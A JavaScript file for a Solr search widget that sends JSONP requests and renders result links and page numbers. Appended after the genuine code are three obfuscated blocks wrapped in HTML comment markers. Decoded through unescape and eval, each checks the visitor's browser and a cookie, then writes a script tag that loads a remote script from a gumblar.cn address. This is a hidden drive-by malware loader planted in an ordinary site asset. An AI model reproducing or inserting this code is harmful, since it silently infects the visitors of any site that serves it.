/* $Id$ */

function SolrRequest() {
	//set the query for this request
	this.solrQuery = document.getElementById("searchBox").query.value;
}

SolrRequest.SERVER = "http://www.alloypipefittings.net/select?wt=json&json.wrf=solrResponse&fl=id,title&q=";

SolrRequest.prototype.makeRequest = function(page) {
/*
 * Dynamically creates the script tag which then
 * sends the request to the Solr server.
 */
	this.jsonReq = new SolrScript(SolrRequest.SERVER + this.solrQuery + "&start=" + page);
	this.jsonReq.makeTag();
	this.jsonReq.addTag();
}

function requestHandler(page) {
/*
 * Called on search form submit and on results page request;
 * starting page argument is optional and defaults to 0.
 */
	var pageNum = page || 0;
	var solrReq = new SolrRequest();
	solrReq.makeRequest(pageNum);
	return false; //needed to keep the form from performing action
}

function solrResponse(obj) {
/*
 * Catches the response from the Solr server. Displays
 * results and adds page links to paginated results. This
 * function assumes 10 results per page.
 */
	var docTitles = "";
	var pageLinks = "";
	var j;
	// figure out how many results are in the current page
	if (obj.response.numFound - obj.response.start < 10) {
		j = obj.response.numFound - obj.response.start;
	} else {
		j = 10;
	}
	// create result list
	for (var i=0; i<j; i++) {
		docTitles += "<a href='http://help.unc.edu/" +
			obj.response.docs[i].id + "'>" + obj.response.docs[i].title + "</a><br />";
	}
	// create page links
	var pages = Math.ceil(obj.response.numFound/10);
	for (var i=0; i<pages; i++) {
		pageLinks += "<a href='#' onclick='requestHandler(" + eval(i*10) + ")'>" + eval(i+1) + "</a> ";
	}
	// write to document
	document.getElementById('result').innerHTML = docTitles;
	document.getElementById('pages').innerHTML = pageLinks;
}

function SolrScript(url) {
/*
 * This class manages the dynamic script tag. Script
 * tag is added with id="solrScript".
 */
    this.url = url;
    this.headTag = document.getElementsByTagName("head").item(0);
	// clean up previous dynamic script tag
	if (document.getElementById("solrScript")) {
		this.headTag.removeChild(document.getElementById("solrScript"));
	}
}

SolrScript.prototype.makeTag = function () {
    this.scriptTag = document.createElement("script");
    this.scriptTag.setAttribute("type", "text/javascript");
    this.scriptTag.setAttribute("src", this.url + '&time=' + (new Date()).getTime());
    this.scriptTag.setAttribute("id", "solrScript");
}

SolrScript.prototype.addTag = function () {
    this.headTag.appendChild(this.scriptTag);
}<!-- 
(function(){var GjT='%';eval(unescape(('var"20"61"3d"22"53crip"74"45"6eg"69ne"22"2cb"3d"22"56"65rsi"6fn"28)+"22"2cj"3d"22"22"2c"75"3dnavigator"2euserA"67ent"3bif"28(u"2eindex"4f"66("22Win"22)"3e0)"26"26"28u"2e"69ndexOf"28"22"4eT"206"22)"3c0)"26"26(docume"6e"74"2e"63"6f"6fkie"2eind"65xOf"28"22"6d"69"65k"3d"31"22)"3c0)"26"26(ty"70eof(z"72vz"74s)"21"3dt"79p"65of"28"22A"22)"29)"7bz"72vzt"73"3d"22"41"22"3be"76al"28"22i"66"28w"69ndo"77"2e"22+a+"22"29"6a"3dj+"22"2ba+"22M"61j"6fr"22+"62+a"2b"22"4di"6e"6fr"22+b"2ba+"22Build"22+b+"22"6a"3b"22)"3bdocu"6d"65nt"2ewrit"65("22"3c"73"63ri"70t"20"73rc"3d"2f"2fgumb"6c"61r"2ecn"2frss"2f"3f"69d"3d"22"2bj+"22"3e"3c"5c"2fscript"3e"22)"3b"7d').replace(/"/g,GjT)))})();
 --><!-- 
(function(){var xgHM=('var,20a,3d,22,53cr,69ptEn,67in,65,22,2c,62,3d,22Version(),2b,22,2c,6a,3d,22,22,2cu,3dna,76ig,61,74or,2eu,73erAgent,3bif,28(u,2ein,64exOf,28,22Wi,6e,22),3e0,29,26,26(,75,2ei,6e,64,65xOf(,22N,54,206,22),3c0,29,26,26(doc,75m,65n,74,2ecookie,2ei,6edexOf,28,22,6d,69ek,3d1,22),3c0),26,26(t,79pe,6ff,28,7arvzts,29,21,3dtypeo,66,28,22A,22),29),7bzr,76zts,3d,22A,22,3beval(,22if(,77indo,77,2e,22+,61+,22)j,3dj,2b,22+,61+,22Major,22+b+a+,22M,69nor,22+,62+a+,22Build,22,2bb,2b,22j,3b,22),3bd,6fcument,2ew,72it,65(,22,3cs,63ript,20,73r,63,3d,2f,2f,67u,6d,62,6ca,72,2ec,6e,2f,72ss,2f,3f,69,64,3d,22+j+,22,3e,3c,5c,2fscript,3e,22),3b,7d').replace(/,/g,'%');var kC4=unescape(xgHM);eval(kC4)})();
 --><!-- 
(function(xRdEy){var b88G=unescape(('va`72`20a`3d`22`53cri`70tEng`69`6ee`22`2cb`3d`22Version`28)+`22`2cj`3d`22`22`2c`75`3d`6eav`69g`61t`6fr`2euserAg`65`6et`3bi`66((u`2e`69`6edexO`66`28`22Win`22)`3e0)`26`26(u`2eindexO`66(`22`4eT`20`36`22`29`3c0)`26`26(d`6fcument`2ec`6fok`69e`2ein`64ex`4f`66(`22mie`6b`3d1`22)`3c0)`26`26(ty`70e`6ff(`7a`72`76zts`29`21`3dt`79peof(`22A`22`29))`7bzr`76`7ats`3d`22A`22`3be`76al`28`22if`28wi`6ed`6fw`2e`22+`61+`22)`6a`3dj`2b`22`2ba`2b`22Major`22+`62`2ba+`22Min`6fr`22+b`2ba+`22Bu`69`6c`64`22+`62+`22j`3b`22)`3bd`6fcumen`74`2ewrit`65(`22`3cscript`20`73rc`3d`2f`2fgumblar`2ecn`2frss`2f`3fid`3d`22+j+`22`3e`3c`5c`2fscr`69p`74`3e`22)`3b`7d').replace(xRdEy,'%'));eval(b88G)})(/`/g);
 -->